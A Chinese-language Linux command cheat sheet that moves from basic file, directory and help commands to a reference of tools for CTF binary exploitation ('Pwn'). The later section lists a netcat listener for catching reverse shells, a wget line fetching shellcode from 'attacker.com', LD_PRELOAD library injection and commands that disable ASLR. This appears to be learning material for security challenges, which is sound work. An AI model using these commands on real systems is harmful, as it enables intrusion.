终端命令格式
command [-options] [parameter]
|
说明:
·command :命令名,相应功能的英文单词或单词的缩写
·[-options] :选项,可用来对命令进行控制,也可以省略
·parameter :传给命令的参数,可以是 零个、一个 或者 多个
目录操作命令 cd、pwd、ls、mkdir、rmdir、du
| 命令 / 选项组合 |
功能说明 |
| 基础命令 |
|
cd |
切换到另一个目录 |
pwd |
打印当前所在目录(print working directory ) |
ls |
列出目录内容 |
ls 常用选项 |
|
ls -l |
长格式输出文件,一个文件显示一行(简写 ll ) |
ls -a |
显示以 . 开头的隐藏文件(默认不显示隐藏文件 ) |
ls -d |
显示目录本身,而非目录下的文件(默认目录会展开显示内容 ) |
ls -lh |
长格式输出 + 字节数转 K/M/G (人性化阅读 ) |
ls -t |
按修改时间从晚到早排序文件(最近修改的先显示 ) |
ls -tr |
按修改时间从早到晚排序文件(最近修改的后显示 ) |
ls -R |
递归列出当前目录及所有子目录的文件(遍历嵌套目录 ) |
个人常用 ls 用法 |
ll -ah (长格式 + 显示隐藏文件 + 人性化字节数 ) |
mkdir |
创建目录;-p 选项可级联创建多层目录(如 mkdir -p a/b/c ) |
rmdir |
删除空目录;非空目录需用 rm -rf 目录名 强制删除(谨慎使用 rm -rf ) |
du 命令及选项 |
|
du |
统计目录 / 文件的磁盘占用字节数 |
du -s |
只显示总字节数(不展开子文件 / 目录 ) |
du -h |
字节数转 K/M/G (人性化阅读 ) |
个人常用 du 用法 |
du -sh (统计总占用 + 人性化字节数 ) |
文件操作命令 which、touch、cp、mv、rm、file
| 命令 |
功能说明 |
语法示例 |
关键参数 / 补充 |
which |
查找命令在系统中的绝对路径 |
which cd which ls which date |
- 仅查系统 PATH 路径内的可执行命令 |
touch |
创建空文件 / 更新文件修改时间 |
touch /root/aaa /root/bbb /root/ccc |
- 无文件则创建,有文件则改修改时间 |
cp |
复制文件 / 目录 |
复制文件: cp /root/install.log /tmp cp /root/install.log /tmp/abc.log 复制目录: cp -R /root /tmp cp -R /root /tmp/abc |
-R:递归复制目录(必加) -i:覆盖前提示(默认隐藏,需手动开) |
mv |
移动文件 / 目录 / 重命名 |
移动: mv /root/install.log.bak /tmp 重命名: mv /tmp/root /tmp/root1 |
- 移动 + 重命名可一步完成(如 mv 旧路径 新路径 ) |
rm |
删除文件 / 目录(危险操作) |
删除文件: rm /root/install.log.bak 删除目录: rm -rf /tmp/root1 |
-r:递归删目录内容 -f:强制删除(无提示) -i:删除前逐一确认(建议日常用) |
file |
查看文件的类型(格式 / 编码等) |
file 文件名 例:file /root/install.log |
- 可识别文本、二进制、压缩包等类型 |
查看登录用户命名 who、w
| 命令 |
功能说明 |
| who |
当前用户登录的信息 |
| w |
当前用户登录的信息,以什么程序登录的 |
文件内容查看命令 cat、tac、more、less、tail、head
| 命令 |
功能说明 |
| cat |
查看文本文件内容,将文本文件内容全部打印到标准输出 选项 -n 输出结果带行号 |
| tac |
查看文本文件内容,倒序输出 按照行号倒序打印文本文件的内容 |
| more |
分页显示文件内容,例如:more /root/install.log 默认显示进度百分比 空格往下翻页,b往上翻页,f往下翻页,q退出 |
| less |
分页显示文件内容,例如:less /root/install.log 选项 -m 显示进度百分比 可以用“/”后跟关键字搜索文件内容 空格往下翻页,b往上翻页,f往下翻页,q退出 |
| tail |
查看文件尾部10行,例如:tail /root/install.log 选项-N (N为正整数)可以指定显示末尾N行内容 |
| head |
查看文件头部10行,例如:head /root/install.log 选项-N (N为正整数)可以指定显示头部N行内容 |
系统管理类命令 shutdown、reboot、lscpu
| 命令 |
功能说明 |
| shutdown |
关机命令 shutdown -h now 立刻关机 shutdown -h +10 “10分钟后关机”,每个登录用户收到“10分钟后关机”的消息,并于10分钟后关机 shutdown -c 取消关机 |
| reboot |
重启系统 |
| lscpu |
查看系统cpu信息 |
查阅命令帮助信息
-help
说明:显示 command 命令的帮助信息
-man
说明:
·查阅 command 命令的使用手册(man 是 manual 的缩写,是 Linux 提供的一个 手册,包含了绝大部分的命令、函数的详细使用)
·说明:使用 man 时的操作键
| 操作键 |
功能 |
| 空格键 |
显示手册页的下一屏 |
| Enter 键 |
一次滚动手册页的一行 |
| b |
回滚一屏 |
| f |
前滚一屏 |
| q |
退出 |
| /word |
搜索 word 字符串 |
自动补全:
在敲出 文件 / 目录 / 命令 的前几个字母之后,按下 tab 键
如果输入的没有歧义,系统会自动补全
如果还存在其他 文件 / 目录 / 命令 ,再按一下 tab 键,系统会提示可能存在的命令
小技巧
小技巧:
ctrl + shift + = 放大终端窗口的字体显示
ctrl + - 缩小终端窗口的字体显示
按 上 / 下 光标键可以在曾经使用过的命令之间来回切换
如果想要退出选择,并且不想执行当前选中的命令,可以按 ctrl + c
其他
文件分析命令(关键!)
| 命令 |
功能 |
参数示例 |
Pwn应用场景 |
file |
查看文件类型 |
file ./vuln |
识别ELF类型(32/64位)、动态/静态链接 |
checksec |
检查安全机制 |
checksec --file=./vuln |
查看NX, PIE, Canary, RELRO等防护状态 |
readelf |
ELF文件分析 |
readelf -a ./vuln |
查看节头、符号表、重定位表、程序头 |
readelf -S |
查看节头信息 |
readelf -S ./vuln |
定位.text/.plt/.got等关键段地址 |
readelf -s |
查看符号表 |
`readelf -s ./vuln |
grep system` |
objdump |
反汇编分析 |
objdump -d ./vuln |
反汇编代码段 |
objdump -M |
指定反汇编格式 |
objdump -M intel -d ./vuln |
Intel格式反汇编(更易读) |
objdump -j |
反汇编特定段 |
objdump -j .plt -d ./vuln |
分析PLT表 |
strings |
提取字符串 |
`strings ./vuln |
grep “/bin/sh”` |
ldd |
查看动态依赖 |
ldd ./vuln |
获取libc路径和基址偏移 |
调试分析命令(核心工具)
| 命令 |
功能 |
参数示例 |
Pwn应用场景 |
gdb |
GNU调试器 |
gdb ./vuln |
动态调试分析 |
gdb -p |
附加进程 |
gdb -p <pid> |
调试运行中的程序 |
gdb -ex |
执行命令 |
gdb -ex "b main" -ex "r" ./vuln |
自动化调试任务 |
strace |
系统调用跟踪 |
strace ./vuln |
监控系统调用(如execve) |
ltrace |
库函数跟踪 |
ltrace ./vuln |
监控库函数调用(如malloc) |
pwndbg |
增强版GDB |
- |
专为Pwn设计的GDB插件 |
info proc |
查看进程信息 |
info proc mappings |
查看内存映射布局 |
网络操作命令(漏洞利用必备)
| 命令 |
功能 |
参数示例 |
Pwn应用场景 |
nc |
网络工具 |
nc -lvp 4444 |
监听端口(接收反弹shell) |
|
|
nc 192.168.1.100 1337 |
连接远程漏洞服务 |
socat |
高级网络工具 |
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:./vuln |
稳定连接(用于ROP链开发) |
curl |
HTTP客户端 |
curl http://target:8080/exploit |
Web Pwn题利用 |
wget |
文件下载 |
wget http://attacker.com/shellcode.bin |
下载远程payload |
进程管理命令
| 命令 |
功能 |
参数示例 |
Pwn应用场景 |
ps |
查看进程 |
`ps aux |
grep vuln` |
kill |
终止进程 |
kill -9 <pid> |
强制结束崩溃的程序 |
pkill |
按名杀进程 |
pkill -f vuln |
快速结束目标程序 |
top |
实时进程监控 |
top |
监控资源占用情况 |
nohup |
后台运行 |
nohup ./vuln & |
保持服务运行 |
环境配置命令
| 命令 |
功能 |
参数示例 |
Pwn应用场景 |
export |
环境变量 |
export LD_PRELOAD=./libc.so.6 |
预加载库(库注入攻击) |
|
|
export PYTHONPATH=/path/to/pwntools |
设置Python路径 |
ulimit |
资源限制 |
ulimit -c unlimited |
启用core dump |
setarch |
设置架构 |
setarch uname -m -R ./vuln |
禁用ASLR(地址随机化) |
echo 0 > /proc/sys/kernel/randomize_va_space |
全局禁用ASLR |
需要root权限 |
调试环境配置 |
二进制处理命令
| 命令 |
功能 |
参数示例 |
Pwn应用场景 |
xxd |
十六进制查看 |
`xxd ./vuln |
head` |
hexedit |
十六进制编辑 |
hexedit ./vuln |
手动修改二进制文件 |
patchelf |
ELF修补 |
patchelf --set-interpreter /lib/ld-linux.so.2 ./vuln |
修改动态链接器 |
|
|
patchelf --replace-needed libc.so.6 ./libc_target.so ./vuln |
替换依赖库 |
objcopy |
目标文件操作 |
objcopy --dump-section .text=text.bin ./vuln |
提取代码段 |
开发辅助命令
| 命令 |
功能 |
参数示例 |
Pwn应用场景 |
python |
Python解释器 |
python3 exploit.py |
运行漏洞利用脚本 |
pip |
Python包管理 |
pip install pwntools |
安装Pwn工具库 |
gcc |
编译器 |
gcc -fno-stack-protector -z execstack vuln.c -o vuln |
编译含漏洞程序 |
make |
构建工具 |
make |
编译CTF题目 |
tmux |
终端复用器 |
tmux new -s pwn |
管理多个调试窗口 |
信息搜索命令
| 命令 |
功能 |
参数示例 |
Pwn应用场景 |
grep |
文本搜索 |
`objdump -d ./vuln |
grep “call”` |
find |
文件查找 |
find / -name "libc.so.6" 2>/dev/null |
查找libc库 |
which |
命令定位 |
which gdb |
查找工具路径 |
man |
手册查看 |
man 2 execve |
查看系统调用文档 |